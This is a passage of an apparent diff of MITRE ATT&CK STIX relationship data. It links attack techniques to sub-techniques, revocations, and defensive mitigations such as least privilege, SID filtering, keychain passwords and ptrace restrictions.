"relationship--e92c4fd7-eb92-4255-80c3-abaa9262845f", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "modified": "2020-02-12T18:57:36.126Z", + "source_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-12T18:57:36.126Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8ccf5cfb-df98-44e0-afb7-6e2d6c699944", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2020-02-12T18:57:58.597Z", + "source_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-12T18:57:58.597Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e3d0073d-4507-4966-9cb0-787c02987186", + "description": "Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization.", + "target_ref": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc", + "modified": "2021-06-08T17:08:08.507Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-14T13:09:51.253Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--579ff596-a4eb-486f-878e-2f8434611d00", + "description": "Consider periodic review of accounts and privileges for critical and sensitive Confluence repositories.", + "target_ref": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc", + "modified": "2021-06-08T17:08:08.535Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-14T13:09:51.263Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--de195a33-8461-4d6a-aa6a-cb2893904c66", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "modified": "2020-02-14T13:09:51.274Z", + "source_ref": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-14T13:09:51.274Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b37b128a-aefc-4b40-9d2a-c213d7b29b43", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "modified": "2020-02-14T13:35:33.221Z", + "source_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-14T13:35:33.221Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c19fcf1c-8c2c-4a71-a1fb-43934cc6ba23", + "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.\n\nOrganizations may consider weighing the risk of storing credentials in password stores and web browsers. If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations.", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "modified": "2021-04-24T13:54:58.802Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-17T13:03:42.660Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8e620d3d-6766-4f26-a6ae-d7fd1276916f", + "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", + "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "modified": "2020-02-17T13:14:31.437Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-17T13:14:31.437Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d2bb226a-810d-47ea-be8d-397b9dd94031", + "description": "Organizations may consider weighing the risk of storing credentials in web browsers. If web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in web browsers.", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2021-04-14T14:03:49.504Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-17T13:20:02.698Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fce13b14-c974-4de2-9dfb-7ad45bca85f0", + "description": "Limit access to the Instance Metadata API using a host-based firewall such as iptables. A properly configured Web Application Firewall (WAF) may help prevent external adversaries from exploiting Server-side Request Forgery (SSRF) attacks that allow access to the Cloud Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)", + "target_ref": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3", + "modified": "2021-03-31T19:41:07.159Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-17T20:44:54.835Z", + "external_references": [ + { + "source_name": "RedLock Instance Metadata API 2018", + "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", + "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4abb5175-7caf-41c8-83a6-1ce459cf72df", + "description": "Search SYSVOL for any existing GGPs that may contain credentials and remove them.(Citation: ADSecurity Finding Passwords in SYSVOL)", + "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "modified": "2020-06-17T14:25:38.393Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-17T21:26:44.446Z", + "external_references": [ + { + "source_name": "ADSecurity Finding Passwords in SYSVOL", + "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.", + "url": "https://adsecurity.org/?p=2288" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b921aed3-07ce-49b0-8051-48807fa82ea7", + "description": "Use user training as a way to bring awareness and raise suspicion for potentially malicious events and dialog boxes (ex: Office documents prompting for credentials).", + "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", + "modified": "2021-08-24T18:21:08.177Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-18T15:54:51.207Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d42d35c6-de42-4a3b-ada1-da6e87023192", + "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas)", + "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", + "modified": "2020-03-26T21:29:18.782Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-18T16:39:06.462Z", + "external_references": [ + { + "source_name": "Microsoft Create Token", + "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object" + }, + { + "source_name": "Microsoft Replace Process Token", + "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token" + }, + { + "source_name": "Microsoft runas", + "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b3685f7-194e-466e-82a0-f8f112b224c1", + "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require. ", + "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", + "modified": "2020-03-26T21:29:18.780Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-18T16:39:06.469Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--60d24337-4634-4eef-9d7e-033949228869", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "modified": "2020-02-18T16:39:06.481Z", + "source_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-18T16:39:06.481Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--62b22a20-4049-4f0d-b879-235e8ab96764", + "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas)", + "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", + "modified": "2021-10-17T14:51:49.208Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-18T16:48:56.787Z", + "external_references": [ + { + "source_name": "Microsoft Create Token", + "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object" + }, + { + "source_name": "Microsoft Replace Process Token", + "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token" + }, + { + "source_name": "Microsoft runas", + "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9da590e3-3447-4401-8ac7-f6c7482e4aed", + "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.", + "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", + "modified": "2021-10-17T14:51:49.240Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-18T16:48:56.795Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9f163bcc-193b-49f4-884d-4246dff23e6c", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "modified": "2020-02-18T16:48:56.805Z", + "source_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-18T16:48:56.805Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--62959831-1f76-4274-b462-731fcffd164d", + "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", + "modified": "2020-02-18T16:51:57.989Z", + "source_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-18T16:51:57.989Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--52cfec4e-9a4f-47b4-ba8a-fc95e034ac1e", + "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "modified": "2020-02-18T16:56:57.178Z", + "source_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-18T16:56:57.178Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--49aeba9e-9ae9-4eb2-873e-b8ab4f8ab347", + "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas)", + "target_ref": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819", + "modified": "2020-03-06T13:37:57.328Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-18T18:03:37.709Z", + "external_references": [ + { + "source_name": "Microsoft Create Token", + "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object" + }, + { + "source_name": "Microsoft Replace Process Token", + "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token" + }, + { + "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx", + "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.", + "source_name": "Microsoft runas" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b32af0e2-1bdc-4b62-a95d-cd1d73919dba", + "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require. ", + "target_ref": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819", + "modified": "2020-03-31T13:11:21.463Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-18T18:03:37.711Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c93ca587-24fe-44d0-951e-30d82b9e6198", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "modified": "2020-02-18T18:03:37.714Z", + "source_ref": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-18T18:03:37.714Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6bae365a-4424-4365-a441-dff2b7993250", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "modified": "2020-02-18T18:22:41.699Z", + "source_ref": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-18T18:22:41.699Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--206ded49-56fc-4c86-ab43-f4d45f5c343c", + "target_ref": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", + "modified": "2020-02-18T18:23:31.836Z", + "source_ref": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-18T18:23:31.836Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2ebbb8a5-a5f2-495d-bdf3-c49701edb26b", + "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller)\n\n* Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)\n\n* Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust", + "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", + "modified": "2021-02-09T15:49:58.567Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-18T18:34:49.716Z", + "external_references": [ + { + "source_name": "Microsoft Trust Considerations Nov 2014", + "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc755321.aspx" + }, + { + "source_name": "Microsoft SID Filtering Quarantining Jan 2009", + "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc794757.aspx" + }, + { + "source_name": "Microsoft Netdom Trust Sept 2012", + "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc835085.aspx" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8bcc4b82-d25f-49ce-a4f2-967994ae21de", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "modified": "2020-02-18T18:34:49.737Z", + "source_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-18T18:34:49.737Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9d925db0-de86-42c8-b69e-8d89e40328ed", + "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", + "modified": "2020-02-18T18:35:21.839Z", + "source_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-18T18:35:21.839Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f5d32cc0-dc9e-4ff4-8af2-b131c303a1a1", + "description": "Use of encryption provides an added layer of security to sensitive information sent over email. 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Retrieved March 15, 2019.", + "source_name": "Ready.gov IT DRP" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1af12953-edeb-4678-91e4-7c70000ee6c3", + "target_ref": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967", + "modified": "2020-02-20T22:10:20.630Z", + "source_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-20T22:10:20.630Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ef02e21a-5ccd-4a69-a735-b9eba6f08b91", + "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", + "modified": "2020-02-20T22:11:00.290Z", + "source_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-20T22:11:00.290Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d5afd2ff-ca7f-4a53-b2ca-1628fda6f74d", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "modified": "2020-02-21T15:42:26.323Z", + "source_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-21T15:42:26.323Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7a5b9104-1fa8-4c55-9e03-f2faa3d2a6f7", + "description": "Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.", + "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", + "modified": "2020-03-24T20:41:09.193Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-21T15:58:20.421Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b9ef32ed-bec0-4f2a-863c-5c8400d9a970", + "description": "Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. 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(Citation: SpectorOps Code Signing Dec 2017)", + "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", + "modified": "2021-08-25T19:39:07.221Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-21T21:05:33.155Z", + "external_references": [ + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. 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", + "target_ref": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744", + "modified": "2021-10-18T12:24:54.377Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-21T21:46:05.325Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c7676864-765f-4c08-951e-fb14f35f16c1", + "description": "Utilize Yama (ex: /proc/sys/kernel/yama/ptrace_scope) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux, grsecurity, and AppArmor. ", + "target_ref": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f", + "modified": "2021-10-18T12:26:32.053Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-21T22:07:25.435Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b33fd646-b98b-4ea0-8ae3-5cf0367140f6", + "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ", + "target_ref": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f", + "modified": "2021-10-18T12:26:32.065Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-21T22:07:25.444Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--49d40f3b-33b4-424c-a645-82d2a84e5c28", + "description": "Restrict the permissions on sensitive files such as /proc/[pid]/maps or /proc/[pid]/mem. ", + "target_ref": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591", + "modified": "2020-06-20T22:25:55.462Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-21T22:16:10.099Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": 